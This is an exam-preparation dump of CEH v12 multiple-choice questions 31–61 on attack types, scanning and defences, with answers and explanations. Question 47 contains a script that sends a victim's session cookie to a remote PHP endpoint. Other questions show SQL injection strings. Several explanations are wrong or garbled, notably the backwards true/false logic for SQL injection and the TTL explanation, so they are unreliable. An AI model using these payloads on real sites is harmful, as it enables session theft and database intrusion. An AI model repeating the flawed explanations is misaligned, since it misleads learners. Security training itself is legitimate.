- **Vendor: EC-Council**
- **Exam Code: 312-50v12**
- **Exam Name: Certified Ethical Hacker Exam (CEH v12)**
- **New Updated Questions from Braindump2go (Updated in August/2023)**

QUESTION 31
While testing a web application in development, you notice that the web server does not properly ignore the "dot dot slash" (../) character string and instead returns the file listing of a folder higher up in the folder structure of the server. What kind of attack is possible in this scenario?

A. Cross-site scripting
B. SQL injection
C. Denial of service
D. Directory traversal

Answer: D
Explanation:
In a directory traversal attack, an attacker can access files and directories that are stored outside of the web root directory. The attacker can exploit this vulnerability to access sensitive information such as configuration files, password files, and other sensitive data.

QUESTION 32
Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices. What is the type of attack performed by Richard in the above scenario?

A. Cryptanalysis attack
B. Reconnaissance attack
C. Side-channel attack
D. Replay attack

Answer: D
Explanation:
In the given scenario, Richard aims to hack IoT devices connected to a target network using a replay attack. He records the frequency required to share information between connected devices and captures the original data when commands are initiated by the connected devices. Once the original data are collected, he uses free tools such as URH to segregate the command sequence. Subsequently, he starts injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.
In a replay attack, an attacker records legitimate data transmissions and later retransmits them, hoping to impersonate the original sender or gain unauthorized access. The attacker captures the data packets or messages transmitted between two entities and replays them back to the same or another entity, leading to unauthorized access, impersonation, or denial of service.

QUESTION 33

Which of the following allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack?

A. Vulnerability analysis
B. Malware analysis
C. Scanning networks
D. Enumeration

Answer: C
Explanation:
Scanning networks allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack. Scanning can help the attacker identify the IP addresses, operating systems, open ports, and running services of the systems connected to the target network. This information can then be used to identify vulnerabilities and plan further attacks.

QUESTION 34
Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

A. Use the built-in Windows Update tool
B. Use a scan tool like Nessus
C. Check MITRE.org for the latest list of CVE findings
D. Create a disk image of a clean Windows installation

Answer: B
Explanation:
Nessus is an open-source network vulnerability scanner that uses the Common Vulnerabilities and Exposures architecture for easy cross-linking between compliant security tools. The Nessus server is currently available for Unix, Linux and FreeBSD. The client is available for Unix-or Windows-based operating systems.
Note: Significant capabilities of Nessus include:
- Compatibility with computers and servers of all sizes.
- Detection of security holes in local or remote hosts.
- Detection of missing security updates and patches.
- Simulated attacks to pinpoint vulnerabilities.
- Execution of security tests in a contained environment.
- Scheduled security audits.

QUESTION 35
Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP callback or push APIs that are raised based on trigger events; when invoked, this feature supplies data to other applications so that users can instantly receive real-time information.
Which of the following techniques is employed by Susan?

A. Web shells
B. Webhooks
C. REST API
D. SOAP API

Answer: B
Explanation:
Webhooks are user-defined HTTP callbacks or push APIs that allow applications to communicate with each other in real-time. They are triggered by specific events and send data to other applications automatically when those events occur. In this scenario, Susan is using webhooks to update other applications with the latest information and provide real-time data to users.

QUESTION 36
Which IOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each

successive reboot?

A. Tethered jailbreaking
B. Semi-untethered jailbreaking
C. Semi-tethered jailbreaking
D. Untethered jailbreaking

Answer: D
Explanation:
In a tethered jailbreak, the device must be connected to a computer each time it is restarted. The jailbreak exploit needs to be applied again using special software or tools to gain access to the device's filesystem and allow the installation of unauthorized apps and modifications. Without this reapplication, the device will boot into a non-jailbroken state.
On the other hand, an untethered jailbreak is more convenient as it does not require a computer connection every time the device restarts. Once the untethered jailbreak is successfully performed, the modifications made to the device remain persistent even after a reboot. The device can be turned on and off without losing the jailbreak status, allowing the use of unauthorized apps and tweaks without any additional steps.

QUESTION 37
Stella, a professional hacker, performs an attack on web services by exploiting a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This further allows the transmission of web-service requests and response messages using different TCP connections.
Which of the following attack techniques is used by Stella to compromise the web services?

A. Web services parsing attacks
B. WS-Address spoofing
C. SOAPAction spoofing
D. XML injection

Answer: B
Explanation:
WS-address provides additional routing information in the SOAP header to support asynchronous communication.

QUESTION 38
Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original IP address of the target website to that of a fake website.
What is the technique employed by Steve to gather information for identity theft?

A. Pharming
B. Skimming
C. Pretexting
D. Wardriving

Answer: A
Explanation:
Pharming is a social engineering technique in which the attacker executes malicious programs on a victim's computer or server, and when the victim enters any URL or domain name, it automatically redirects the victim's traffic to an attacker-controlled website. This attack is also known as "Phishing without a Lure." The attacker steals confidential information like credentials, banking details, and other information related to web-based services.
Pharming attack can be performed in two ways: DNS Cache Poisoning and Host File Modification

QUESTION 39
What is the port to block first in case you are suspicious that an IoT device has been compromised?

A. 22

B. 48101
C. 80
D. 443

Answer: B
Explanation:
How to Defend Against IoT Hacking:
Monitor traffic on port 48101, as infected devices attempt to spread the malicious file using port 48101.

QUESTION 40
Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection.
Identify the behavior of the adversary in the above scenario.

A. Unspecified proxy activities
B. Use of command-line interface
C. Data staging
D. Use of DNS tunneling

Answer: A
Explanation:
Unspecified Proxy Activities : An adversary can create and configure multiple domains pointing to the same host, thus, allowing an adversary to switch quickly between the domains to avoid detection. Security professionals can find unspecified domains by checking the data feeds that are generated by those domains. Using this data feed, the security professionals can also find any malicious files downloaded and the unsolicited communication with the outside network based on the domains.

QUESTION 41
What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

A. Packet fragmentation scanning
B. Spoof source address scanning
C. Decoy scanning
D. Idle scanning

Answer: D
Explanation:
Idle scanning (also known as zombie scanning) is a firewall evasion technique that uses a zombie system with low network activity to scan a target system.

QUESTION 42
By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext. Which file do you have to clean to clear the password?

A. .xsession-log
B. .profile
C. .bashrc
D. .bash_history

Answer: D
Explanation:
The .bash_history file is a log of commands executed in the Bash shell. If a user enters their login and password in plaintext, it will be stored in the .bash_history file. This file can be cleared to remove any plaintext passwords that may have been stored.

The .xsession-log file records X session messages, and the .profile and .bashrc files are scripts that are run at login to set environment variables and configure the shell. These files do not typically contain plaintext passwords.

QUESTION 43
Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit.
What is the technique used by Jack to launch the fileless malware on the target systems?

A. In-memory exploits
B. Legitimate applications
C. Script-based injection
D. Phishing

Answer: D
Explanation:
Attackers commonly use social engineering techniques such as phishing to spread fileless malware to the target systems. They send spam emails embedded with malicious links to the victim. When the victim clicks on the link, he/she will be directed to a fraudulent website that automatically loads Flash and triggers the exploit.

QUESTION 44
Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API.
Which of the following tools is used by Wilson in the above scenario?

A. Factiva
B. ZoomInfo
C. Netcraft
D. Infoga

Answer: D
Explanation:
Infoga may be a tool gathering email accounts informations (ip,hostname,country,...) from completely different public supply (search engines, pgp key servers and shodan) and check if email was leaked using haveibeenpwned.com API. is a really simple tool, however very effective for the first stages of a penetration test or just to know the visibility of your company within the net.

QUESTION 45
David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.
Which phase of the vulnerability-management life cycle is David currently in?

A. Remediation
B. Verification
C. Risk assessment
D. Vulnerability scan

Answer: A
Explanation:
The vulnerability management lifecycle is a process of identifying, assessing, and remediating vulnerabilities in an organization's IT infrastructure. The five phases of the vulnerability management lifecycle are:
1. Discovery and Identification: This is the process of identifying and inventorying all of the assets in an organization's IT infrastructure.

2. Vulnerability Assessment: This is the process of identifying and assessing the severity of vulnerabilities in an organization's IT infrastructure.
3. Prioritization: This is the process of prioritizing the vulnerabilities that need to be remediated based on their severity and impact.
4. Remediation: This is the process of applying fixes to vulnerable systems to reduce the impact and severity of vulnerabilities.
5. Verification: This is the process of verifying that the vulnerabilities have been remediated and that the fixes are working properly.
In this case, David is currently in the Remediation phase of the vulnerability management lifecycle. He is applying fixes to vulnerable systems to reduce the impact and severity of vulnerabilities.

QUESTION 46
Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.
Which of the following cloud attacks did Alice perform in the above scenario?

A. Cloud cryptojacking
B. Man-in-the-cloud (MITC) attack
C. Cloud hopper attack
D. Cloudborne attack

Answer: C
Explanation:
Cloud hopper attacks are triggered at managed service providers (MSPs) and their customers. Once the attack is successfully implemented, attackers can gain remote access to the intellectual property and critical information of the target MSP and its global users/customers. Attackers also move laterally in the network from one system to another in the cloud environment to gain further access to sensitive data pertaining to the industrial entities, such as manufacturing, government bodies, healthcare, and finance.

QUESTION 47
Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script>
document.write('<img.src="https://localhost/submitcookie.php? cookie ='+ escape
(document.cookie) +"' />);
</script>
```

What issue occurred for the users who clicked on the image?

A. This php file silently executes the code and grabs the user's session cookie and session ID.
B. The code redirects the user to another site.
C. The code injects a new cookie to the browser.
D. The code is a virus that is attempting to gather the user's username and password.

Answer: A
Explanation:
The code embedded behind the strange images posted by the user on the forum is a PHP file that runs in the background and steals the user's session cookies and session ID. The PHP script silently executes in the background, and the user may not be aware that their session has been compromised.

QUESTION 48
Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs.

Which two SQL injection types would give her the results she is looking for?

A. Out of band and boolean-based
B. Union-based and error-based
C. Time-based and union-based
D. Time-based and boolean-based

Answer: D
Explanation:
Boolean-based SQL injection is a type of attack where the attacker sends a malicious query to the database that will return a different response depending on whether the query returns a TRUE or FALSE result. For example, the attacker might send the query SELECT * FROM users WHERE id = '1' AND '1' = '2'. If the user ID 1 exists in the database, the query will return no results. However, if the user ID 1 does not exist in the database, the query will return all of the rows in the users table.
Time-based SQL injection is a type of attack where the attacker sends a malicious query to the database that will cause the database to take a different amount of time to execute depending on whether the query returns a TRUE or FALSE result. For example, the attacker might send the query SELECT * FROM users WHERE id = '1' AND sleep(5). If the user ID 1 exists in the database, the query will return no results. However, if the user ID 1 does not exist in the database, the query will cause the database to sleep for 5 seconds before returning results.
In this case, Jane Smith wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs. She can do this by using a time-based SQL injection attack. She would first send the query SELECT * FROM users WHERE id = '1' AND sleep(5). If the user ID 1 exists in the database, the query will return no results. However, if the user ID 1 does not exist in the database, the query will cause the database to sleep for 5 seconds before returning results.
Jane Smith can then use a second command to measure the time it takes for the database to respond. If the response time is greater than 5 seconds, then she knows that the user ID 1 does not exist in the database.

QUESTION 49
Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server.
What is the type of attack Jason performed in the above scenario?

A. Web server misconfiguration
B. Server-side request forgery (SSRF) attack
C. Web cache poisoning attack
D. Website defacement

Answer: B
Explanation:
SSRF vulnerabilities evolve in the following manner. Generally, server-side requests are initiated to obtain information from an external resource and feed it into an application. For instance, a designer can utilize a URL such as https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed. If attackers can alter the URL input to the localhost, then they can view all the local resources on the server.

QUESTION 50
George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m.
What is the short-range wireless communication technology George employed in the above scenario?

A. LPWAN
B. MQTT
C. NB-IoT
D. Zigbee

Answer: D
Explanation:
802.15.4 (ZigBee): The 802.15.4 standard has a low data rate and complexity.

QUESTION 51
Eric, a cloud security engineer, implements a technique for securing the cloud resources used by his organization. This technique assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. Using this technique, he also imposed conditions such that employees can access only the resources required for their role.
What is the technique employed by Eric to secure cloud resources?

A. Demilitarized zone
B. Zero trust network
C. Serverless computing
D. Container technology

Answer: B
Explanation:
Zero trust network is a security model that assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. This is in contrast to traditional security models, which assume that users inside the network are trusted and only need to be authenticated once.
Zero trust network is implemented by using a variety of security controls, such as:
- Micro-segmentation: This is the practice of dividing the network into small, isolated segments, each with its own security controls. This makes it more difficult for an attacker to move laterally within the network once they have gained access.
- Multi-factor authentication: This requires users to provide multiple pieces of identification, such as a username, password, and security token, before being granted access to the network.
- Continuous monitoring: This involves monitoring all network traffic for suspicious activity.
- Least privilege: This principle states that users should only be granted the access they need to perform their job duties.
In Eric's case, he is implementing a zero trust network by verifying every incoming connection before allowing access to the network. He is also imposing conditions such that employees can only access the resources required for their role. This is a good way to secure cloud resources and protect them from unauthorized access.

QUESTION 52
You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID "Brakeme-Internal." You realize that this network uses WPA3 encryption.
Which of the following vulnerabilities is the promising to exploit?

A. Cross-site request forgery
B. Dragonblood
C. Key reinstallation attack
D. AP misconfiguration

Answer: B
Explanation:
Dragonblood is a set of vulnerabilities in the WPA3 security standard that allows attackers to recover keys, downgrade security mechanisms, and launch various information-theft attacks.
Attackers can use various tools, such as Dragonslayer, Dragonforce, Dragondrain, and Dragontime, to exploit these vulnerabilities and launch attacks on WPA3-enabled networks.

QUESTION 53
What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

A. White-hat hacking program
B. Bug bounty program
C. Ethical hacking program
D. Vulnerability hunting program

Answer: B
Explanation:
A bug bounty program is a challenge or agreement hosted by organizations, websites, or software developers for tech-savvy individuals or ethical hackers to participate and break into their security to report the latest bugs and vulnerabilities.

QUESTION 54
A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete.
Which attack is being described here?

A. Desynchronization
B. Slowloris attack
C. Session splicing
D. Phlashing

Answer: B
Explanation:
Slowloris is a DDoS attack tool used to perform layer-7 DDoS attacks to take down web infrastructure. It is distinctly different from other tools in that it uses perfectly legitimate HTTP traffic to take down a target server. In Slowloris attacks, the attacker sends partial HTTP requests to the target web server or application. Upon receiving the partial requests, the target server opens multiple connections and waits for the requests to complete.

QUESTION 55
Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.
Which of the following host discovery techniques must he use to perform the given task?

A. UDP scan
B. ARP ping scan
C. ACK flag probe scan
D. TCP Maimon scan

Answer: B
Explanation:
In the ARP ping scan, the ARP packets are sent for discovering all active devices in the IPv4 range even though the presence of such devices is hidden by restrictive firewalls.

QUESTION 56
Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries.
Which of the following tiers of the container technology architecture is Abel currently working in?

A. Tier-1: Developer machines
B. Tier-2: Testing and accreditation systems
C. Tier-3: Registries
D. Tier-4: Orchestrators

Answer: B
Explanation:
* Tier-1: Developer machines - image creation, testing and accreditation
* Tier-2: Testing and accreditation systems - verification and validation of image contents, signing images and sending them to the registries
* Tier-3: Registries - storing images and disseminating images to the orchestrators based on requests
* Tier-4: Orchestrators - transforming images into containers and deploying containers to hosts
* Tier-5: Hosts - operating and managing containers as instructed by the orchestrator Module

QUESTION 57
Henry is a cyber security specialist hired by BlackEye - Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS.
Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

A. 128
B. 255
C. 64
D. 138

Answer: A
Explanation:
The default TTL value for Windows OS is 128. This means that when a packet is sent from a Windows machine, it will have a TTL value of 128. If the packet reaches a router or firewall that has a TTL value of less than 128, the packet will be discarded.

QUESTION 58
Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as '' or '1'='1'' in any basic injection statement such as "or 1=1."
Identify the evasion technique used by Daniel in the above scenario.

A. Char encoding
B. IP fragmentation
C. Variation
D. Null byte

Answer: C
Explanation:
Evasion Technique: Variation Variation is an evasion technique whereby the attacker can easily evade any comparison statement. The attacker does this by placing characters such as '' or '1'='1'' in any basic injection statement such as "or 1=1" or with other accepted SQL comments. The SQL interprets this as a comparison between two strings or characters instead of two numeric values.

QUESTION 59
SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.
Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

A. In-band SQLi
B. Union-based SQLi
C. Out-of-band SQLi
D. Time-based blind SQLi

Answer: C

Explanation:
Out-of-band SQL injection (OOB SQLi) is a type of SQL injection attack where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control.
OOB SQLi attacks can be carried out by leveraging the database server's ability to make DNS requests. For example, the attacker could inject a malicious query into the application that would cause the database server to make a DNS request to a domain that the attacker controls. The attacker could then monitor the DNS traffic to see if the database server made the request. If it did, the attacker would know that the query was successful.

QUESTION 60
Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack.
What is the type of vulnerability assessment performed by Johnson in the above scenario?

A. Wireless network assessment
B. Application assessment
C. Host-based assessment
D. Distributed assessment

Answer: A
Explanation:
A wireless network assessment is a type of vulnerability assessment that focuses on identifying and assessing the vulnerabilities in a wireless network. This includes identifying rogue access points, weak passwords, and outdated security mechanisms.
In the above scenario, Johnson identified some unusual traffic in the internal network that was aimed at cracking the authentication mechanism. This indicates that a rogue access point may have been installed within the organization's perimeter. Johnson then turned off the targeted network and tested for any weak and outdated security mechanisms that were open to attack. This is a clear indication that he was performing a wireless network assessment.

QUESTION 61
In this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values.
What is this attack called?

A. Evil twin
B. Chop chop attack
C. Wardriving
D. KRACK

Answer: D
Explanation:
KRACK: This is an abbreviation for Key Reinstallation Attacks. It is a type of security vulnerability attack against the Wi-Fi security protocol WPA2, where attackers can exploit this vulnerability to steal sensitive information during Wi-Fi communication.